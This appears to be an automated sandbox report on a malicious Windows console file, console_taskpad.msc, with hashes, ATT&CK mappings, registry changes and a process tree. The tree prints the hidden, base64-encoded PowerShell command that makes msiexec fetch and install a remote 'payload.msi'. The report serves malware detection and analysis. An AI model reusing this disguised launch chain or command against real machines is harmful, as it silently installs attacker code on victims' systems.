690a71fe18b9191bebfcfedeb4873b49d6601df9ba25e3bf13b3b00783cc474c

Analysis

max time kernel
93s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
05-09-2024 12:29

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General

Target

console_taskpad.msc
Size

89KB
MD5

2eb6d269b47a185ee8f7b01a9119f3b9
SHA1

1563289aa3f9561c72982500192e6d64c1c54d33
SHA256

690a71fe18b9191bebfcfedeb4873b49d6601df9ba25e3bf13b3b00783cc474c
SHA512

16beb9a1ad5f498cd99c5470047ce7ffee0affac28d921a4b948e296f853d32ca77ce1091fb3bf052e58bc7a7f5886752788159136b4067a7e4fbb601c0096cb
SSDEEP

384:TOA5bzsRKLRkJ/6ke1Wt7qGWtqykfqrV6Ekh:6gbwVgWTUV6Ekh

Score

8^/10

execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4400	powershell.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
692	msiexec.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	mmc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	mmc.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Software\Microsoft\Internet Explorer\IESettingSync	mmc.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	mmc.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4400	powershell.exe
4400	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: 33	716	mmc.exe
Token: SeIncBasePriorityPrivilege	716	mmc.exe
Token: 33	716	mmc.exe
Token: SeIncBasePriorityPrivilege	716	mmc.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeShutdownPrivilege	692	msiexec.exe
Token: SeIncreaseQuotaPrivilege	692	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
692	msiexec.exe
692	msiexec.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
716	mmc.exe
716	mmc.exe
716	mmc.exe
716	mmc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 716 wrote to memory of 4400	716	mmc.exe	95
PID 716 wrote to memory of 4400	716	mmc.exe	95
PID 4400 wrote to memory of 692	4400	powershell.exe	97
PID 4400 wrote to memory of 692	4400	powershell.exe	97

C:\Windows\system32\mmc.exe
C:\Windows\system32\mmc.exe "C:\Users\Admin\AppData\Local\Temp\console_taskpad.msc"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -encodedCommand bQBzAGkAZQB4AGUAYwAgAC0AaQAgAGgAdAB0AHAAOgBcAFwAXABcAGwAbwBjAGEAbABoAG8AcwB0AFwAXABwAGEAeQBsAG8AYQBkAC4AbQBzAGkA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4400
- - C:\Windows\system32\msiexec.exe
    "C:\Windows\system32\msiexec.exe" -i http:\\\\localhost\\payload.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lrozo25l.lcc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4400-8-0x000001FEC3EE0000-0x000001FEC3F02000-memory.dmp

Filesize
136KB

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